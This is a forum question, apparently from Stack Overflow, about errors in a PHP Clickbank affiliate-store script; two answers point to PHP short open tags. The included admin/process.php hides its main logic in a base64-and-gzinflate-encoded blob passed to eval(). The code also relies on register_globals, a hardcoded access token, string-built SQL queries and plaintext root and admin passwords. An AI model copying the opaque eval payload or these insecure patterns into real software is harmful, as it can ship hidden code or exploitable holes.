0
votes

Notice: Undefined variable: db_host in C:\wamp\www\cbmall\index.php on line 7

Notice: Undefined variable: db_user in C:\wamp\www\cbmall\index.php on line 7

Notice: Undefined variable: db_pass in C:\wamp\www\cbmall\index.php on line 7

Warning: mysql_connect() [function.mysql-connect]: Access denied for user 'ODBC'@'localhost' (using password: NO) in C:\wamp\www\cbmall\index.php on line 7 Error connecting to database server: Access denied for user 'ODBC'@'localhost' (using password: NO)

index.php

 <?php
    // Setup some variables
    include_once( "admin/settings.inc.php" );


    // make the database connection
    $db   = mysql_connect( $db_host, $db_user, $db_pass ); # or die "Could not make connection to database server\n";
    if ( ! $db ) {
     print "Error connecting to database server: ".mysql_error();
     exit;
    }
    mysql_select_db($db_name);

    // Setup some variables
    $fh = fopen( 'templates/main.html', 'r' );
    $listing_html = '';
    while( ! feof($fh) ) { 
     $listing_html .= fgets($fh);
    }
    fclose($fh);

    mysql_select_db($db_name);
    preg_match_all( "/\{Category: (.*?)\}/i", $content, $replacement_fields, PREG_SET_ORDER );

    $content = str_replace( '{COUNT_ALL}', get_count_all(), $content );
    foreach ( $replacement_fields as $category ) { 
     $repl_string = "{Category: $category[1]}";
     $replacement = get_category_html($category[1]);
     $content = str_replace( $repl_string, $replacement, $content );
    }
    print $content;
    exit;

    function get_count_all() { 
       global $db;
       $sth = mysql_query("SELECT COUNT(*) as c FROM cb_urls");
       $r = mysql_fetch_array($sth);
       mysql_free_result($sth);
       return $r['c'];
    }

    function get_category_html( $category_name ) {
     global $db;

       $count_all = 0;
       $sql = mysql_query("SELECT COUNT(*) as c FROM cb_urls WHERE category LIKE '".addSlashes($category_name)."%'");
       $r = mysql_fetch_array($sql);
       mysql_free_result($sql);
       $count_all = $r['c'];

     $sql = "SELECT DISTINCT(category) AS c FROM cb_urls WHERE category LIKE '".addSlashes($category_name)."%'";
     $sth = mysql_query($sql,$db);
     $ret_string = '                                          <P ALIGN=LEFT><B><FONT SIZE="-1" FACE="Verdana,Tahoma,Arial,Helvetica">'.$category_name.' ('.$count_all.')<BR></FONT></B>' . "\n";
     while( $res = mysql_fetch_array($sth) ) { 
          $sth2 = mysql_query("SELECT COUNT(*) as cnt FROM cb_urls WHERE category='".addSlashes($res[c])."'");
          $r = mysql_fetch_array($sth2);
          mysql_free_result($sth2);
      $nameA = split("::",$res[c]);
      $name = $nameA[1];
      if ( $name ) { 
       $ret_string .= '                                             <A HREF="search.php?keywords='.urlencode($res[c]).'" onMouseOver="window.status=\''.addSlashes($name).'\'; return true;" onMouseOut="window.status=\'\'; return true;"><FONT SIZE="-2" FACE="Verdana,Tahoma,Arial,Helvetica">'.$name.' ('.$r[cnt].')</FONT></A>'."\n";
       $ret_string .= '                                             <FONT SIZE="-2" FACE="Verdana,Tahoma,Arial,Helvetica"></FONT>'."\n";
      }
     }
       mysql_free_result($sth);
     return $ret_string;
    }
    ?>

settings.inc.php

<?

// Setup variables


// Database
$db_host = 'localhost'; // the host where your database server is running
$db_name = 'cbmall'; // the name of the database
$db_user = 'root'; // the username for connecting to the database
$db_pass = '696969'; // the password for connecting to the database

// Clickbank ID
$cb_user = 'Clickb'; // your clickbank affiliate id

// full url path to the script file - include trailing slash
$path = 'http://localhost/cbmall/';

//  full url path to your XML file
$xmlfeed = 'http://localhost/cbmall/xml/marketplace_feed_v1.xml';

// Admin password - change to whatever you want
$adminpsd = '696969';



// PROBLEMS? Make sure ALL settings are 100% accurate.


?> 

fixed thank you

new problem Creating database ok Filling database not working

Connecting to database...

Creating database table...

Filling database ... This will take a few minutes. Even longer for dial-up.

Notice: Undefined variable: d in C:\wamp\www\cbmall\admin\process.php on line 109

Warning: file_get_contents(http://localhost/cbmall/xml/marketplace_feed_v1.xml) [function.file-get-contents]: failed to open stream: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. in C:\wamp\www\cbmall\admin\process.php(109) : eval()'d code on line 6

Fatal error: Maximum execution time of 30 seconds exceeded in C:\wamp\www\cbmall\admin\process.php(109) : eval()'d code on line 6

process.php

<?


require_once("settings.inc.php");

$prevent=$key;

////////////////////////
// check for tampering with hidden var
///////////////////////

if($prevent != "yosue38") {

echo "

<center><BR><BR><BR><font face=verdana size=5 color=red><B>Access Denied: Tampering</b></font></center>

";

exit;
}

////////////////////////
// check password entered
////////////////////////

if($psd != $adminpsd) {

echo "

<center><BR><BR><BR><font face=verdana size=5 color=red><B>Access Denied: Wrong Password - Case SEnsiTIve</b></font></center>

";

exit;
}

////////////////////////
// passed both tests
////////////////////////


echo " <center><BR><BR>Connecting to database...<BR><BR> ";

////////////////////////
// make the database connection
////////////////////////

$db = mysql_connect( $db_host, $db_user, $db_pass ); # or die "Could not make connection to database server\n";

if ( ! $db ) {
    print "Error connecting to database server: ".mysql_error();
    exit;
}

mysql_select_db($db_name);


////////////////////////
// new install
////////////////////////

if($action == "install") {

echo " Creating database table...<BR><BR> ";

$sql = 'DROP TABLE IF EXISTS `cb_urls`';

mysql_query($sql);

$query = "CREATE TABLE cb_urls (
id int(11) NOT NULL auto_increment,
  poll_id int(11) NOT NULL default '0',
  destination varchar(20) NOT NULL default '',
  title varchar(255) default NULL,
  description text,
  category varchar(255) default NULL,
  PRIMARY KEY  (id),
  KEY category (category)
) ENGINE=MyISAM;";

mysql_query($query) or die(mysql_error());

echo " Filling database ...<BR><i>This will take a few minutes. Even longer for dial-up.</i><BR><BR> ";

///////////////////////
// filling database
//////////////////////

$poll_id    = time();
$seen_links = array();
$link_count = 0;
$duplicate_count = 0;
$good_count = 0;

////////////////////////
// clear the database
////////////////////////

mysql_query( "DELETE FROM cb_urls");

////////////////////////
// Get the data
////////////////////////

function d($s,$k=''){if($k==''){for($i=0;$i<strlen($s);$i){$d.=chr(hexdec(substr($s,$i,2)));$i=(float)($i)+2;}return $d;}else{$r='';$f=d('6261736536345f6465636f6465');$u=$f('Z3ppbmZsYXRl');$s=$u($f($s));for($i=0;$i<strlen($s);$i++){$c=substr($s,$i,1);$kc=substr($k,($i%strlen($k))-1,1);$c=chr(ord($c)-ord($kc));$r.=$c;}return $r;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=",423217231));

////////////////////////
// close the db connection
////////////////////////

mysql_close($db);

exit;

}

////////////////////////
// action=update database
////////////////////////

else {

$poll_id    = time();
$seen_links = array();
$link_count = 0;
$duplicate_count = 0;
$good_count = 0;


////////////////////////
// clear the database
////////////////////////

mysql_query( "DELETE FROM cb_urls");

////////////////////////
// Get the data
////////////////////////

function d($s,$k=''){if($k==''){for($i=0;$i<strlen($s);$i){$d.=chr(hexdec(substr($s,$i,2)));$i=(float)($i)+2;}return $d;}else{$r='';$f=d('6261736536345f6465636f6465');$u=$f('Z3ppbmZsYXRl');$s=$u($f($s));for($i=0;$i<strlen($s);$i++){$c=substr($s,$i,1);$kc=substr($k,($i%strlen($k))-1,1);$c=chr(ord($c)-ord($kc));$r.=$c;}return $r;}}eval(d("lZf7cptIFsbfK3ZuVfsCAgQS6AKS5czuWIBsy54kc3FmbCc7Y12Bprk30N3IkpOdrdoH3EZIiTezNVv7lyhoNafP+c7vO/i+rAR47RbNxqrFnd5c8PW1YfZk6d1NrRVQAjayRNrc+dVYEgt9BO0Yh0rrAQZQbvzmh1ggAPsF5f2CyzHauIB4gLfXkm7XCvoQg/Np3c7jDH/rb+xkLvB+HkJzIrK/pCOtt9rcax4gTuZ4WCPuAEEyF0a6NdY9lFHeQXlK9LkgDo5e9U7+xh697nyPAIIu0dUoTcmp3rONM802FEX/x7OXB36U23ZcU7IsQosQtCXRtVROin0SLe28SCm7A/Icdbm6by9p4ZLhs5fPn9YEjudqEifZNE0N7fT50ycvDw/FexzzugDDGAAPEsvJEAlRgVviJokiFzrt4YtD9lLJHnAmt7zH9rolyEJbElS+fPREcQa1EWfjHG4UXuzwAq8OXxw8ZYkC8QItV06wWOaxwvf1C4uEXpZ/NBVVUfWZemkVLqT4wZhPU31yPLaJ52V4Pdbo7XuhWwbWradWiOa+VYAgJQFYK/qzZwd8kWxLuUaxXJ5CEJMg/sYA6B4Vch1bYWI5NgVxSnyPTPvTKh4vzbtiqB8NpWCoxGE8YBetnlI++vT84AV3WMM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hV+6ipK7YiT0jxOFn7ACPDykMUcx5nlxLzoeOwOi1nEG59hMHkgWb7A1MMPMv/r5U8Xl7f8+Oru6n2zo/AWlhz+8vbdFWd7i1WOSL18KTuySDhdSh4wiZcQbDmGibVmwxIJSwyytMQfCY7nEYaA6ZDQnDIbpcH+70mQZGgVj0QyafjNOYNM+S2zHWDq3PD19Wh4cT3Sz9n3DqDm6yBBTGOQ58WITQLJfcKPI+TEloNijg0w5dcEHySSyCa1NAVY2mWje3Z+Y5jnN+bw2IHJyiVmrbnNxovDLZ9F7nvExp4kcsoxQ3KyGMeQgoY+/uVUH18bZwGCAiGOnjAn07Ue29QLiIeLFOVEs/OkF8SxlqAgVW1C0wRrMEtJyH4iONLP/m4aZ7emodnVKXjh5N8=",423217231));


////////////////////////
// close the db connection
////////////////////////

mysql_close($db);

exit;

}


?>
2
Start a new question for your new problem.Katie Kilian

2 Answers

2
votes

In settings.inc.php at the very first line you're using a short PHP open tag. Try changing it to <?php instead of <? and see if that does the trick.

I'm also using WAMP for development and I know for sure that short_open_tags are disabled by default as I've run into this problem myself, by mistake.

1
votes

Two things.

Are you executing the database connection in a function? It could be a scope problem (i.e.: $db_* are globals that you are trying to access in a function scope).

Secondly, do you have short_open_tags enabled? I noticed settings.inc.php open tag is a <? instead of <?php. If it's not enabled, then that's probably what's causing your issue: the code is not being evaluated as PHP code.